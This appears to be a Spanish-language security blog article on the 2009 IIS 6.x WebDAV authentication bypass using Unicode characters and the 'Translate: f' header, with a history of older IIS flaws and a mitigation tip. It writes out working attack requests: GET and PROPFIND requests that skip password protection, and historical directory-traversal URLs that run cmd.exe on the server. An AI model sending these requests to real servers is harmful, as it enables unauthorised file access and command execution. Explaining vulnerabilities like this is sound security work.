El mundo entero esta hablando hoy de una nueva vulnerabilidad descubierta en Microsoft IIS 6.x, el servidor web de Microsoft. Esta vulnerabilidad nos vuelve en el tiempo unos cuantos años atras, cuando los defaces eran moneda corriente en la web, y casi cualquier chico con un poco de imaginación y otro poco de conocimientos era capas de vulnerar los mecanismos de protección de cualquier sitio web. Hoy, en esta epoca de que los sitios webs se han convertido en aplicaciones, y plataformas de trabajo para mucho mas que la visualización de una página, esto logra tornarse un problema serio y critico de seguridad.
Se ha encontrado un fallo en IIS 6.x a la hora de procesar peticiones http especialmente manipuladas con la cabecera “Translate:f” y con caracteres Unicode. Esto puede permitir a un atacante eludir la autenticación (y subir archivos si lo permiten los permisos) al disparar un problema de validación en WebDAV.
Este gravisimo bug entre otras cosas nos permite:
- Bypassear carpetas WebDAV protegidas con contraseña.
- Listar, descargar y subir archivos dentro de una carpeta WebDAV protegida con contraseña.
Supongamos que existe una carpeta protegida por contraseña en:
“d:\>inetpub\wwwroot\protected\”
El mecanismo de protección por contraseña no es relevante para el atacante. Dentro de esta carpeta existe un archivo llamado “Protected.zip” El atacante envía una solicitud GET HTTP al servidor web.
GET / %c0%af/protected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
Como hemos visto, la URI contiene el caractér unicode ‘/’ (%c0%af). Este caracter unicode es removido en una petición WebDAV, instruyendo al servidor web para manejar la solicitud, mediante WebDAV. El uso de un URI ‘modificado’ produce que el servidor web envíe el archivo situado en “d:\>inetpub\wwwroot\protected\”, sin pedirle al atacante la debida autentificación.
Otra forma válida de un ‘request’ que un atacante puede usar es:
GET /prot%c0%afected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
ISS 6.0 va a eliminar el caracter unicode „%c0%af“ internamente a partir de la solictud enviada, y va a devolver el archivo protegido con contraseña sin las credenciales necesarias para obtenerlo.
Atacar una carpeta WebDAV es similar. El atacante puede bypassear las restricciones de acceso de la carpeta (protegidas por contraseña), y listar, descargar, subir archivos y moficarlos!!. Para esto el atacante enviara una solicitud PROPFIND al servidor:
PROPFIND /protec%c0%afted/ HTTP/1.1
Host: servername
User-Agent: neo/0.12.2
Connection: TE
TE: trailers
Depth: 1
Content-Length: 288
Content-Type: application/xml<?xml version=”1.0″ encoding=”utf-8″?>
<propfind xmlns=”DAV:”><prop>
<getcontentlength xmlns=”DAV:”/>
<getlastmodified xmlns=”DAV:”/>
<executable xmlns=”http://apache.org/dav/props/”/>
<resourcetype xmlns=”DAV:”/>
<checked-in xmlns=”DAV:”/>
<checked-out xmlns=”DAV:”/>
</prop></propfind>
ISS va a responder listando el directorio de la carpeta por la que nosotros le preguntamos, sin solicitarnos por supuesto, la contraseña!.
Vamos a dar un pequeño repaso a las vulnerabilidades que se basaban en alguno de los elementos que Microsoft nunca manejó (ni maneja, por lo visto) demasiado bien.
Antecedentes (1999)
En 1999 se descubrió un fallo clásico en IIS. Introduciendo un punto al final de los archivos ASP en servidores web IIS 3.0 se podía visualizar el código fuente del archivo. Por ejemplo:
http://servidor.iis.afectado/ejemplo.asp.
La actualización desarrollada para solventar este problema cumplió su trabajo y la “vulnerabilidad del punto” desapareció. Pero el parche obvió la representación hexadecimal del carácter “.” (0×2e), por lo que sustituyéndolo en la URL de esta forma:
http://www.direccion.com/code/ejemplo.asp0×2e
aún se podía descargar el código fuente del archivo ASP. Un parche para el parche solucionó el problema.
Antecedentes (2000)
Se descubrió un error relacionado con el protocolo estándar de Internet WebDAV (Web Distributed Authoring and Versioning) mayoritariamente usado por Microsoft en IIS (venía activado por defecto). WebDAV se trata de un conjunto de extensiones de HTTP que proporciona el estándar para editar y manejar ficheros y atributos a través de web (lo que ya de por sí lo convierte en un potencial problema de seguridad). El problema consistía (como el que acaba de ser descubierto) en enviar una petición HTTP mal formada, aprovechando el protocolo WebDAV y algunas otras circunstancias, como el mal comportamiento del servidor ante ciertos caracteres. Explotar el problema era muy sencillo, tan solo había que usar la cabecera “Trasnlate: f” (que es lo que indica al servidor que la petición tiene que ser manejada con WebDAV) y añadir un carácter “\” al final de la petición GET del archivo ASP del que se quería ver el código fuente.
Antecedentes (2001)
Cuando se publicó IIS, Microsoft no tuvo en cuenta la potencial escalada de directorios que podría permitir el acceso a los archivos de sistema del servidor web. Durante años, entrar en un servidor IIS era tan sencillo como realizar la siguiente petición a través de cualquier navegador:
http://servidor.iis.afectado/scripts/../../../winnt/system32/cmd.exe?/c+dir+c:\
El problema fue corregido, aunque durante mucho tiempo la mayoría de los servidores no parchearon (no existía WindowsUpdate) y la fama negra del navegador se iba forjando. Durante 2001, cuando Microsoft introdujo soporte para la codificación Unicode en Internet Information Server, cometió un terrible error. La conversión a Unicode se realizaba después de la comprobación de la existencia de los caracteres “../..”. Por tanto el problema volvió a surgir, y de nuevo, era posible entrar en un servidor gracias a peticiones del tipo:
http://servidor.iis.afectado/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
Muchos años después, seguiría siendo la forma más sencilla y predilecta de muchos de burlar la seguridad de servidores web de Microsoft.
Antecedentes (2003)
En marzo de 2003 se descubrió un error relacionado con WebDAV que montó un buen revuelo. Un búfer no controlado ponía a los servidores con IIS instalado en un compromiso. Fue uno de los últimos grandes escándalos de IIS. A partir de ahí, las sucesivas versiones del servidor mejoraron sustancialmente la seguridad.
Y en 2009…
Se descubre que de nuevo un atacante puede eludir las restricciones de seguridad y descargar o subir ficheros de directorios WebDAV protegidos con contraseña. Para perpetrar el ataque, solo es necesario realizar una petición PROPFIND a una carpeta, añadiendo caracteres Unicode en su nombre, y por supuesto, con la cabecera “Translate:f”.
De vuelta 10 años atrás
En esta vulnerabilidad, se repiten muchos de los elementos de las vulnerabilidades descritas más arriba y que se creían ya “olvidados”. El problema se da en IIS 6.0 y anteriores. Las versiones posteriores no se ven afectadas, además de que no traen WebDAV activado por defecto. Por tanto nos encontramos ante un panorama que no recordábamos desde hacía años: una vulnerabilidad directa contra un servidor web (actualmente utilizado, según Netcraft por el 30% de los servidores web) que permite controlar el sistema. Precisamente una mayor concienciación sobre la seguridad, una mejora en la calidad del código, la aplicación de parches de Microsoft (motivada en gran parte por errores como los descritos) y otra serie de factores, hicieron que el objetivo se trasladase bien al cliente (navegadores, lectores de PDF, Flash…), bien a aplicaciones web (principalmente en PHP) pero cada vez menos contra el servidor web en sí.
Microsoft no ha reconocido oficialmente todavía la vulnerabilidad. Se recomienda por tanto deshabilitar WebDAV hasta que exista solución y comprobar los permisos NTFS de los directorios públicos.
Existe exploit disponible en:
http://milw0rm.com/exploits/8704.
